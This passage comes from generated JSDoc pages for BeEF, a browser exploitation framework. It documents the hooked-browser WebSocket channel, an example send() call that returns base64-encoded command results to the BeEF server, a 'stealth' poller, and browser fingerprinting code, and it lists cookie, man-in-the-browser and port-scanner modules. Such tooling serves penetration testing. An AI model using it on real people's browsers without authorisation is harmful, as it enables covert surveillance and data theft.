\n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line671\">line 671</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".rtcpollPeer\"><span class=\"type-signature\">(static) </span>rtcpollPeer<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"webrtc.js.html\">webrtc.js</a>, <a href=\"webrtc.js.html#line327\">line 327</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.websocket.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: websocket</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: websocket</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>websocket</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Manage the WebSocket communication channel.\nThis channel is much faster and responsive, and it's used automatically\nif the browser supports WebSockets AND beef.http.websocket.enable = true.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"websocket.js.html\">websocket.js</a>, <a href=\"websocket.js.html#line8\">line 8</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".alive\"><span class=\"type-signature\">(static) </span>alive<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Polling mechanism, to notify the BeEF server that the browser is still hooked,\nand the WebSocket channel still alive.\ntodo: there is probably a more efficient way to do this. Double-check WebSocket API.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"websocket.js.html\">websocket.js</a>, <a href=\"websocket.js.html#line86\">line 86</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".init\"><span class=\"type-signature\">(static) </span>init<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Initialize the WebSocket client object.\nNote: use WebSocketSecure only if the hooked origin is under https.\nMixed-content in WS is quite different from a non-WS context.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"websocket.js.html\">websocket.js</a>, <a href=\"websocket.js.html#line26\">line 26</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".send\"><span class=\"type-signature\">(static) </span>send<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Send data back to BeEF. This is basically the same as beef.net.send,\nbut doesn't queue commands.\nExample usage:\nbeef.websocket.send('{&quot;handler&quot; : &quot;' + handler + '&quot;, &quot;cid&quot; :&quot;' + cid +\n'&quot;, &quot;result&quot;:&quot;' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +\n'&quot;,&quot;callback&quot;: &quot;' + callback + '&quot;,&quot;bh&quot;:&quot;' + beef.session.get_hook_session_id() + '&quot; }');</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"websocket.js.html\">websocket.js</a>, <a href=\"websocket.js.html#line75\">line 75</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".start\"><span class=\"type-signature\">(static) </span>start<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Send Hello message to the BeEF server and start async polling.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"websocket.js.html\">websocket.js</a>, <a href=\"websocket.js.html#line48\">line 48</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/browser.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: browser.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: browser.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Basic browser functions.\n * @namespace beef.browser\n */\nbeef.browser = {\n\n    /**\n     * Returns the protocol.\n     * @example: beef.browser.getProtocol()\n     */\n    getProtocol: function() {\n        return document.location.protocol;\n    },\n\n    /**\n     * Returns the user agent that the browser is claiming to be.\n     * @example: beef.browser.getBrowserReportedName()\n     */\n    getBrowserReportedName: function () {\n        return navigator.userAgent;\n    },\n\n    /**\n     * Returns the underlying layout engine in use by the browser.\n     * @example: beef.browser.getBrowserEngine()\n     */\n    getBrowserEngine: function() {\n      try {\n        var engine = platform.layout;\n        if (!!engine)\n          return engine;\n      } catch (e) {}\n      return 'unknown';\n    },\n\n    /**\n     * Returns true if Avant Browser.\n     * @example: beef.browser.isA()\n     */\n    isA: function () {\n        return window.navigator.userAgent.match(/Avant TriCore/) != null;\n    },\n\n    /**\n     * Returns true if Iceweasel.\n     * @example: beef.browser.isIceweasel()\n     */\n    isIceweasel: function () {\n        return window.navigator.userAgent.match(/Iceweasel\\/\\d+\\.\\d/) != null;\n    },\n\n    /**\n     * Returns true if Midori.\n     * @example: beef.browser.isMidori()\n     */\n    isMidori: function () {\n        return window.navigator.userAgent.match(/Midori\\/\\d+\\.\\d/) != null;\n    },\n\n    /**\n     * Returns true if Odyssey\n     * @example: beef.browser.isOdyssey()\n     */\n    isOdyssey: function () {\n        return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null &amp;&amp; window.navigator.userAgent.match(/OWB\\/\\d+\\.\\d/) != null);\n    },\n\n    /**\n     * Returns true if Brave\n     * @example: beef.browser.isBrave()\n     */\n    isBrave: function(){\n        return (window.navigator.userAgent.match(/brave\\/\\d+\\.\\d/) != null &amp;&amp; window.navigator.userAgent.match(/Brave\\/\\d+\\.\\d/) != null);\n    },\n\n    /**\n     * Returns true if IE6.\n     * @example: beef.browser.isIE6()\n     */\n    isIE6: function () {\n        return !window.XMLHttpRequest &amp;&amp; !window.globalStorage;\n    },\n\n    /**\n     * Returns true if IE7.\n     * @example: beef.browser.isIE7()\n     */\n    isIE7: function () {\n        return !!window.XMLHttpRequest &amp;&amp; !window.chrome &amp;&amp; !window.opera &amp;&amp; !window.getComputedStyle &amp;&amp; !window.globalStorage &amp;&amp; !document.documentMode;\n    },\n\n    /**\n     * Returns true if IE8.\n     * @example: beef.browser.isIE8()\n     */\n    isIE8: function () {\n        return !!window.XMLHttpRequest &amp;&amp; !window.chrome &amp;&amp; !window.opera &amp;&amp; !!document.documentMode &amp;&amp; !!window.XDomainRequest &amp;&amp; !window.performance;\n    },\n\n    /**\n     * Returns true if IE9.\n     * @example: beef.browser.isIE9()\n     */\n    isIE9: function () {\n        return !!window.XMLHttpRequest &amp;&amp; !window.chrome &amp;&amp; !window.opera &amp;&amp; !!document.documentMode &amp;&amp; !!window.XDomainRequest &amp;&amp; !!window.performance &amp;&amp; typeof navigator.msMaxTouchPoints === \"undefined\";\n    },\n\n    /**\n     *\n     * Returns true if IE10.\n     * @example: beef.browser.isIE10()\n     */\n    isIE10: function () {\n        return !!window.XMLHttpRequest &amp;&amp; !window.chrome &amp;&amp; !window.opera &amp;&amp; !!document.documentMode &amp;&amp; !!window.XDomainRequest &amp;&amp; !!window.performance &amp;&amp; typeof navigator.msMaxTouchPoints !== \"undefined\";\n    },\n\n    /**\n     *\n     * Returns true if IE11.\n     * @example: beef.browser.isIE11()\n     */\n    isIE11: function () {\n        return !!window.XMLHttpRequest &amp;&amp; !window.chrome &amp;&amp; !window.opera &amp;&amp; !!document.documentMode &amp;&amp; !!window.performance &amp;&amp; typeof navigator.msMaxTouchPoints !== \"undefined\" &amp;&amp; typeof document.selection === \"undefined\" &amp;&amp; typeof document.createStyleSheet === \"undefined\" &amp;&amp; typeof window.createPopup === \"undefined\" &amp;&amp; typeof window.XDomainRequest === \"undefined\";\n    },\n\n    /**\n     *\n     * Returns true if Edge.\n     * @example: beef.browser.isEdge()\n     */\n    isEdge: function () {\n        return !beef.browser.isIE() &amp;&amp; !!window.styleMedia &amp;&amp; (/Edg\\/\\d+\\.\\d/.test(window.navigator.userAgent) || /Edge\\/\\d+\\.\\d/.test(window.navigator.userAgent));\n    },\n\n    /**\n     * Returns true if IE.\n     * @example: beef.browser.isIE()\n     */\n    isIE: function () {\n        return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();\n    },\n\n    /**\n     * Returns true if FF2.\n     * @example: beef.browser.isFF2()\n     */\n    isFF2: function () {\n        return !!window.globalStorage &amp;&amp; !window.postMessage;\n    },\n\n    /**\n     * Returns true if FF3.\n     * @example: beef.browser.isFF3()\n     */\n    isFF3: function () {\n        return !!window.globalStorage &amp;&amp; !!window.postMessage &amp;&amp; !JSON.parse;\n    },\n\n    /**\n     * Returns true if FF3.5.\n     * @example: beef.browser.isFF3_5()\n     */\n    isFF3_5: function () {\n        return !!window.globalStorage &amp;&amp; !!JSON.parse &amp;&amp; !window.FileReader;\n    },\n\n    /**\n     * Returns true if FF3.6.\n     * @example: beef.browser.isFF3_6()\n     */\n    isFF3_6: function () {\n        return !!window.globalStorage &amp;&amp; !!window.FileReader &amp;&amp; !window.multitouchData &amp;&amp; !window.history.replaceState;\n    },\n\n    /**\n     * Returns true if FF4.\n     * @example: beef.browser.isFF4()\n     */\n    isFF4: function () {\n        return !!window.globalStorage &amp;&amp; !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/4\\./) != null;\n    },\n\n    /**\n     * Returns true if FF5.\n     * @example: beef.browser.isFF5()\n     */\n    isFF5: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/5\\./) != null;\n    },\n\n    /**\n     * Returns true if FF6.\n     * @example: beef.browser.isFF6()\n     */\n    isFF6: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/6\\./) != null;\n    },\n\n    /**\n     * Returns true if FF7.\n     * @example: beef.browser.isFF7()\n     */\n    isFF7: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/7\\./) != null;\n    },\n\n    /**\n     * Returns true if FF8.\n     * @example: beef.browser.isFF8()\n     */\n    isFF8: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/8\\./) != null;\n    },\n\n    /**\n     * Returns true if FF9.\n     * @example: beef.browser.isFF9()\n     */\n    isFF9: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/9\\./) != null;\n    },\n\n    /**\n     * Returns true if FF10.\n     * @example: beef.browser.isFF10()\n     */\n    isFF10: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/10\\./) != null;\n    },\n\n    /**\n     * Returns true if FF11.\n     * @example: beef.browser.isFF11()\n     */\n    isFF11: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/11\\./) != null;\n    },\n\n    /**\n     * Returns true if FF12\n     * @example: beef.browser.isFF12()\n     */\n    isFF12: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/12\\./) != null;\n    },\n\n    /**\n     * Returns true if FF13\n     * @example: beef.browser.isFF13()\n     */\n    isFF13: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/13\\./) != null;\n    },\n\n    /**\n     * Returns true if FF14\n     * @example: beef.browser.isFF14()\n     */\n    isFF14: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/14\\./) != null;\n    },\n\n    /**\n     * Returns true if FF15\n     * @example: beef.browser.isFF15()\n     */\n    isFF15: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/15\\./) != null;\n    },\n\n    /**\n     * Returns true if FF16\n     * @example: beef.browser.isFF16()\n     */\n    isFF16: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/16\\./) != null;\n    },\n\n    /**\n     * Returns true if FF17\n     * @example: beef.browser.isFF17()\n     */\n    isFF17: function () {\n        return !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/17\\./) != null;\n    },\n\n    /**\n     * Returns true if FF18\n     * @example: beef.browser.isFF18()\n     */\n    isFF18: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; window.navigator.userAgent.match(/Firefox\\/18\\./) != null;\n    },\n\n    /**\n     * Returns true if FF19\n     * @example: beef.browser.isFF19()\n     */\n    isFF19: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; window.navigator.userAgent.match(/Firefox\\/19\\./) != null;\n    },\n\n    /**\n     * Returns true if FF20\n     * @example: beef.browser.isFF20()\n     */\n    isFF20: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; window.navigator.userAgent.match(/Firefox\\/20\\./) != null;\n    },\n\n    /**\n     * Returns true if FF21\n     * @example: beef.browser.isFF21()\n     */\n    isFF21: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; window.navigator.userAgent.match(/Firefox\\/21\\./) != null;\n    },\n\n    /**\n     * Returns true if FF22\n     * @example: beef.browser.isFF22()\n     */\n    isFF22: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; window.navigator.userAgent.match(/Firefox\\/22\\./) != null;\n    },\n\n    /**\n     * Returns true if FF23\n     * @example: beef.browser.isFF23()\n     */\n    isFF23: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; window.navigator.userAgent.match(/Firefox\\/23\\./) != null;\n    },\n\n    /**\n     * Returns true if FF24\n     * @example: beef.browser.isFF24()\n     */\n    isFF24: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; window.navigator.userAgent.match(/Firefox\\/24\\./) != null;\n    },\n\n    /**\n     * Returns true if FF25\n     * @example: beef.browser.isFF25()\n     */\n    isFF25: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; window.navigator.userAgent.match(/Firefox\\/25\\./) != null;\n    },\n\n    /**\n     * Returns true if FF26\n     * @example: beef.browser.isFF26()\n     */\n    isFF26: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; window.navigator.userAgent.match(/Firefox\\/26./) != null;\n    },\n\n    /**\n     * Returns true if FF27\n     * @example: beef.browser.isFF27()\n     */\n    isFF27: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/27./) != null;\n    },\n\n    /**\n     * Returns true if FF28\n     * @example: beef.browser.isFF28()\n     */\n    isFF28: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt !== 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/28./) != null;\n    },\n\n    /**\n     * Returns true if FF29\n     * @example: beef.browser.isFF29()\n     */\n    isFF29: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/29./) != null;\n    },\n\n    /**\n     * Returns true if FF30\n     * @example: beef.browser.isFF30()\n     */\n    isFF30: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/30./) != null;\n    },\n\n    /**\n     * Returns true if FF31\n     * @example: beef.browser.isFF31()\n     */\n    isFF31: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/31./) != null;\n    },\n\n    /**\n     * Returns true if FF32\n     * @example: beef.browser.isFF32()\n     */\n    isFF32: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/32./) != null;\n    },\n\n    /**\n     * Returns true if FF33\n     * @example: beef.browser.isFF33()\n     */\n    isFF33: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/33./) != null;\n    },\n\n    /**\n     * Returns true if FF34\n     * @example: beef.browser.isFF34()\n     */\n    isFF34: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/34./) != null;\n    },\n\n    /**\n     * Returns true if FF35\n     * @example: beef.browser.isFF35()\n     */\n    isFF35: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/35./) != null;\n    },\n\n    /**\n     * Returns true if FF36\n     * @example: beef.browser.isFF36()\n     */\n    isFF36: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/36./) != null;\n    },\n\n    /**\n     * Returns true if FF37\n     * @example: beef.browser.isFF37()\n     */\n    isFF37: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/37./) != null;\n    },\n\n    /**\n     * Returns true if FF38\n     * @example: beef.browser.isFF38()\n     */\n    isFF38: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof 